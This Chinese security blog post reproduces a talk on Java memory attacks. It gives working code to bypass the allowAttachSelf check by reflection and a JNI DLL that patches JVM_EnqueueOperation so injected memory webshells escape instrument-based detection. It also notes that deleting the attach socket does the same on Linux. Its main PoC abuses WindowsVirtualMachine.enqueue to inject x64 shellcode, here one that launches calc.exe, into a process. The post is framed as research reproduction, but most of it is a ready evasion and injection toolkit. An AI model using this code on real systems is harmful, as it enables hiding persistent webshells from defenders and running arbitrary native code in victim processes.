议题解析与复现--《Java内存攻击技术漫谈》（一）

解析与复现议题

Java内存攻击技术漫谈

https://mp.weixin.qq.com/s/JIjBjULjFnKDjEhzVAtxhw

allowAttachSelf绕过

在Java9及以后的版本不允许SelfAttach(即无法attach自身的进程)，如图

调试一下，发现这里ALLOW_ATTACH_SELF字段设置为false

步入getSavedProperty，最终到ImmitableCollections中的table中去查找allowAttachSelf，找不到，返回空

之后，这里进行了ALLOW_ATTACH_SELF字段的检测，若不为true则抛出异常

这样看来有两种方法对这个检验进行绕过一种是使用反射直接更改HotSpotVirtualMachine中的ALLOW_ATTACH_SELF字段，另一种是想办法在ImmitableCollections中的table中添加jdk.attach.allowAttachSelf。

rebeyond师傅使用的是第一种方法。

        Field field=cls.getDeclaredField("ALLOW_ATTACH_SELF");
        field.setAccessible(true);
        Field modifiersField=Field.class.getDeclaredField("modifiers");
        modifiersField.setAccessible(true);
        modifiersField.setInt(field,field.getModifiers()&~Modifier.FINAL);
        field.setBoolean(null,true);

这样便完成了allowAttachSelf机制的绕过。

内存马防检测

instrument机制实现类agent内存马的注入，但是也可以实现对内存马进行检测。

这里给出的方法就是注入内存马后将instrument机制破坏的，使其无法检测进程的类字节码等。

以下为instrument的工作流程

1.检测工具作为Client，根据指定的PID，向目标JVM发起attach请求；

2.JVM收到请求后，做一些校验（比如上文提到的jdk.attach.allowAttachSelf的校验），校验通过后，会打开一个IPC通道。

3.接下来Client会封装一个名为AttachOperation的C++对象，发送给Server端；

4.Server端会把Client发过来的AttachOperation对象放入一个队列；

5.Server端另外一个线程会从队列中取出AttachOperation对象并解析，然后执行对应的操作，并把执行结果通过IPC通道返回Client。

windows端

现在loadAgent处下断点，步入调试。

步入，执行execute方法

看一下execute方法

  InputStream execute(String cmd, Object ... args)
        throws AgentLoadException, IOException
    {
        assert args.length <= 3;        // includes null

        // create a pipe using a random name
        Random rnd = new Random();
        int r = rnd.nextInt();
        String pipeprefix = "\\\\.\\pipe\\javatool";
        String pipename = pipeprefix + r;
        long hPipe;
        try {
            hPipe = createPipe(pipename);//创建pipe管道
        } catch (IOException ce) {
            // Retry with another random pipe name.
            r = rnd.nextInt();
            pipename = pipeprefix + r;
            hPipe = createPipe(pipename);
        }

        // check if we are detached - in theory it's possible that detach is invoked
        // after this check but before we enqueue the command.
        if (hProcess == -1) {
            closePipe(hPipe);
            throw new IOException("Detached from target VM");
        }

        try {
            // enqueue the command to the process
            enqueue(hProcess, stub, cmd, pipename, args);//调用enqueue方法
		....

这个enqueue是native方法。

看一下这个方法的源码

/*
 * Class:     sun_tools_attach_WindowsVirtualMachine
 * Method:    enqueue
 * Signature: (JZLjava/lang/String;[Ljava/lang/Object;)V
 */
JNIEXPORT void JNICALL Java_sun_tools_attach_WindowsVirtualMachine_enqueue
  (JNIEnv *env, jclass cls, jlong handle, jbyteArray stub, jstring cmd,
   jstring pipename, jobjectArray args)
{
    DataBlock data;
    DataBlock* pData;
    DWORD* pCode;
    DWORD stubLen;
    HANDLE hProcess, hThread;
    jint argsLen, i;
    jbyte* stubCode;
    jboolean isCopy;

    /*
     * Setup data to copy to target process
     */
    data._GetModuleHandle = _GetModuleHandle;
    data._GetProcAddress = _GetProcAddress;

    strcpy(data.jvmLib, "jvm");
    strcpy(data.func1, "JVM_EnqueueOperation");
    strcpy(data.func2, "_JVM_EnqueueOperation@20");

    /*
     * Command and arguments
     */
    jstring_to_cstring(env, cmd, data.cmd, MAX_CMD_LENGTH);
    argsLen = (*env)->GetArrayLength(env, args);

    if (argsLen > 0) {
        if (argsLen > MAX_ARGS) {
            JNU_ThrowInternalError(env, "Too many arguments");
        }
        for (i=0; i<argsLen; i++) {
            jobject obj = (*env)->GetObjectArrayElement(env, args, i);
            if (obj == NULL) {
                data.arg[i][0] = '\0';
            } else {
                jstring_to_cstring(env, obj, data.arg[i], MAX_ARG_LENGTH);
            }
            if ((*env)->ExceptionOccurred(env)) return;
        }
    }
    for (i=argsLen; i<MAX_ARGS; i++) {
        data.arg[i][0] = '\0';
    }

    /* pipe name */
    jstring_to_cstring(env, pipename, data.pipename, MAX_PIPE_NAME_LENGTH);
	//以上都是参数的转换，从java转化为c
    /*
     * Allocate memory in target process for data and code stub
     * (assumed aligned and matches architecture of target process)
     */
    hProcess = (HANDLE)handle;

    pData = (DataBlock*) VirtualAllocEx( hProcess, 0, sizeof(DataBlock), MEM_COMMIT, PAGE_READWRITE );//在目标进程内存分配空间，大小为DataBlock
    if (pData == NULL) {
        JNU_ThrowIOExceptionWithLastError(env, "VirtualAllocEx failed");
        return;
    }
    WriteProcessMemory( hProcess, (LPVOID)pData, (LPCVOID)&data, (SIZE_T)sizeof(DataBlock), NULL );
//将data的内容写入到之前分配的空间

    stubLen = (DWORD)(*env)->GetArrayLength(env, stub);
    stubCode = (*env)->GetByteArrayElements(env, stub, &isCopy);

    pCode = (PDWORD) VirtualAllocEx( hProcess, 0, stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
    //在目标进程内存分配空间，大小为stubLen
    if (pCode == NULL) {
        JNU_ThrowIOExceptionWithLastError(env, "VirtualAllocEx failed");
        VirtualFreeEx(hProcess, pData, 0, MEM_RELEASE);
        return;
    }
    WriteProcessMemory( hProcess, (LPVOID)pCode, (LPCVOID)stubCode, (SIZE_T)stubLen, NULL );
    ////将stubCode的内容写入到之前分配的空间
    if (isCopy) {
        (*env)->ReleaseByteArrayElements(env, stub, stubCode, JNI_ABORT);
    }

    /*
     * Create thread in target process to execute code
     */
    //下面就是去执行目标进程中的代码
    hThread = CreateRemoteThread( hProcess,
                                  NULL,
                                  0,
                                  (LPTHREAD_START_ROUTINE) pCode,
                                  pData,
                                  0,
                                  NULL );
    if (hThread != NULL) {
        if (WaitForSingleObject(hThread, INFINITE) != WAIT_OBJECT_0) {
            JNU_ThrowIOExceptionWithLastError(env, "WaitForSingleObject failed");
        } else {
            DWORD exitCode;
            GetExitCodeThread(hThread, &exitCode);
            if (exitCode) {
                switch (exitCode) {
                    case ERR_OPEN_JVM_FAIL :
                        JNU_ThrowIOException(env,
                            "jvm.dll not loaded by target process");
                        break;
                    case ERR_GET_ENQUEUE_FUNC_FAIL :
                        JNU_ThrowIOException(env,
                            "Unable to enqueue operation: the target VM does not support attach mechanism");
                        break;
                    default :
                        JNU_ThrowInternalError(env,
                            "Remote thread failed for unknown reason");
                }
            }
        }
        CloseHandle(hThread);
    } else {
        if (GetLastError() == ERROR_NOT_ENOUGH_MEMORY) {
            //
            // This error will occur when attaching to a process belonging to
            // another terminal session. See "Remarks":
            // http://msdn.microsoft.com/en-us/library/ms682437%28VS.85%29.aspx
            //
            JNU_ThrowIOException(env,
                "Insufficient memory or insufficient privileges to attach");
        } else {
            JNU_ThrowIOExceptionWithLastError(env, "CreateRemoteThread failed");
        }
    }

    VirtualFreeEx(hProcess, pCode, 0, MEM_RELEASE);
    VirtualFreeEx(hProcess, pData, 0, MEM_RELEASE);
}

这里pcode与pdata值得分析。

pcode是从stub中提取出的在目标程序执行的代码，而pdata是他的参数。

我们来看一下stub，以下是生成stub的方法generateStub

JNIEXPORT jbyteArray JNICALL Java_sun_tools_attach_WindowsVirtualMachine_generateStub
  (JNIEnv *env, jclass cls)
{
    /*
     * We should replace this with a real stub generator at some point
     */
    DWORD len;
    jbyteArray array;

    len = (DWORD)((LPBYTE) jvm_attach_thread_func_end - (LPBYTE) jvm_attach_thread_func);//从这里可以看出stub的大小就是jvm_attach_thread_func方法的大小，那么基本上可以确定pcode就是jvm_attach_thread_func方法
    array= (*env)->NewByteArray(env, (jsize)len);
    if (array != NULL) {
        (*env)->SetByteArrayRegion(env, array, 0, (jint)len, (jbyte*)&jvm_attach_thread_func);
    }
    return array;
}

我们来看一下在服务侧运行的pcode，即jvm_attach_thread_func

DWORD WINAPI jvm_attach_thread_func(DataBlock *pData)
{
    HINSTANCE h;
    EnqueueOperationFunc addr;

    h = pData->_GetModuleHandle(pData->jvmLib);//jvmLib=jvm
    if (h == NULL) {
        return ERR_OPEN_JVM_FAIL;
    }

    addr = (EnqueueOperationFunc)(pData->_GetProcAddress(h, pData->func1));//func1=JVM_EnqueueOperation
    if (addr == NULL) {
        addr = (EnqueueOperationFunc)(pData->_GetProcAddress(h, pData->func2));//func2=_JVM_EnqueueOperation@20
    }
    if (addr == NULL) {
        return ERR_GET_ENQUEUE_FUNC_FAIL;
    }

    /* "null" command - does nothing in the target VM */
    if (pData->cmd[0] == '\0') {
        return 0;
    } else {
        return (*addr)(pData->cmd, pData->arg[0], pData->arg[1], pData->arg[2], pData->pipename);//执行指定func1或func2
    }
}

我们来梳理一下整个流程

现在看来只要将jvmLib导出的两个函数JVM_EnqueueOperation和_JVM_EnqueueOperation@20 NOP掉即可完成instrument流程的破坏。

来看一下rebeyond师傅的处理方法

用JNI，核心代码如下：

unsigned char buf[]="\xc2\x14\x00"; //32,direct return enqueue function
HINSTANCE hModule = LoadLibrary(L"jvm.dll");
//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");
LPVOID dst=GetProcAddress(hModule,"_JVM_EnqueueOperation@20");
DWORD old;
if (VirtualProtectEx(GetCurrentProcess(),dst, 3, PAGE_EXECUTE_READWRITE, &old)){WriteProcessMemory(GetCurrentProcess(), dst, buf, 3, NULL);VirtualProtectEx(GetCurrentProcess(), dst, 3, old, &old);}

/*unsigned char buf[]="\xc3"; //64,direct return enqueue function
HINSTANCE hModule = LoadLibrary(L"jvm.dll");
//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");
LPVOIDdst=GetProcAddress(hModule,"JVM_EnqueueOperation");
//printf("ConnectNamedPipe:%p",dst);DWORD old;
if (VirtualProtectEx(GetCurrentProcess(),dst, 1, PAGE_EXECUTE_READWRITE, &old)){WriteProcessMemory(GetCurrentProcess(), dst, buf, 1, NULL);
VirtualProtectEx(GetCurrentProcess(), dst, 1, old, &old);
}*/

JNI 入门教程 | 菜鸟教程 (runoob.com)

复现踩坑记录

​ 这里注意生成dll的平台要与运行java程序的平台相同，否则可能会不兼容。

​ 直接运行native方法可以运行，但是一旦使用agent attch到目标进程就会出现Can't find dependent libraries问题。发现是生成dll使用的项目出错，需要使用动态dll链接库

具体代码：

dll生成代码

#include "pch.h"
#include "Inst.h"
#include "killinst.h"

JNIEXPORT void JNICALL Java_killinst_testHello
(JNIEnv*, jobject) {
	printf("hello");
}
/*
 * Class:     killinst
 * Method:    defendinst
 * Signature: ()V
 */
JNIEXPORT void JNICALL Java_killinst_defendinst
(JNIEnv*, jobject) {
	unsigned char buf[] = "\xc3"; //64,direct return enqueue function
	HINSTANCE hModule = LoadLibrary(L"jvm.dll");
	//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");
	LPVOID dst = GetProcAddress(hModule, "JVM_EnqueueOperation");
	printf("JVM_EnqueueOperation:%p", dst);
	DWORD old;
	if (VirtualProtectEx(GetCurrentProcess(), dst, 1, PAGE_EXECUTE_READWRITE, &old)) {
		WriteProcessMemory(GetCurrentProcess(), dst, buf, 1, NULL);
		VirtualProtectEx(GetCurrentProcess(), dst, 1, old, &old);
	}
}

java代码

public class killinst {
    public native void testHello();
    public native void defendinst();
}

调用dll代码

 System.load("C://Users//xyy//source//repos//INST//x64//Release//INST.dll");
       killinst killinst = new killinst();
        killinst.testHello();
        killinst.defendinst();

成功使得attach失败

linux端

在Linux平台上，IPC通信采用的是UNIX Domain Socket，因此想破坏Linux平台下的instrument attach流程还是比较简单的，只要把对应的UNIX Domain Socket文件删掉就可以了。删掉后，我们尝试对目标JVM进行attach，便会提示无法attach

Java原生进程注入（可以pop calc ，注入木马等）

之前在防检测的时候，我们发现了enqueue方法。

结合之前的分析enqueue使用stub给目标注入了特定的代码并createRemoteThread执行代码。

本来的stub是执行一个将AttachOperation的操作，由native生成，但是stub是作为参数传入enqueue函数的，因此可以通过反射来改变stub参数，利用enqueue方法实现在目标进程注入特定代码。

附上rebeyond师傅的poc：

import java.lang.reflect.Method;

public class ThreadMain   {    public static void main(String[] args) throws Exception {        System.loadLibrary("attach");
Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine");
for (Method m:cls.getDeclaredMethods())
{
if (m.getName().equals("enqueue"))
{
long hProcess=-1;
//hProcess=getHandleByPid(30244);
byte buf[] = new byte[]   //pop calc.exe
{
(byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
(byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
(byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
(byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
(byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
(byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
(byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
(byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
(byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
(byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
(byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
(byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
(byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
(byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
(byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
(byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
(byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
(byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
(byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
(byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
(byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
(byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
(byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
(byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
(byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
(byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00                        };

             String cmd="load";String pipeName="test";
             m.setAccessible(true);
             Object result=m.invoke(cls,new Object[]{hProcess,buf,cmd,pipeName,new Object[]{}});
             System.out.println("result:"+result);            }

        }
        Thread.sleep(4000);
        }
        public static long getHandleByPid(int pid)
        {
        Class cls= null;
        long hProcess=-1;
        try {
        cls = Class.forName("sun.tools.attach.WindowsVirtualMachine");
        for (Method m:cls.getDeclaredMethods()) {
        if (m.getName().equals("openProcess"))
        {
        m.setAccessible(true);
        Object result=m.invoke(cls,pid);
        System.out.println("pid :"+result);                    hProcess=Long.parseLong(result.toString());
        }
        }
        } catch (Exception e) {
        e.printStackTrace();
        }
        return hProcess;    }}

成功注入

我们实现了Windows平台上的Java远程进程注入。另外，这个技术还有个额外效果，那就是当注入进程的PID设置为-1的时候，可以往当前Java进程注入任意Native代码，以实现不用JNI执行任意Native代码的效果。这样就不需要再单独编写JNI库来执行Native代码了，也就是说，上文提到的内存马防检测机制，不需要依赖JNI，只要纯Java代码也可以实现。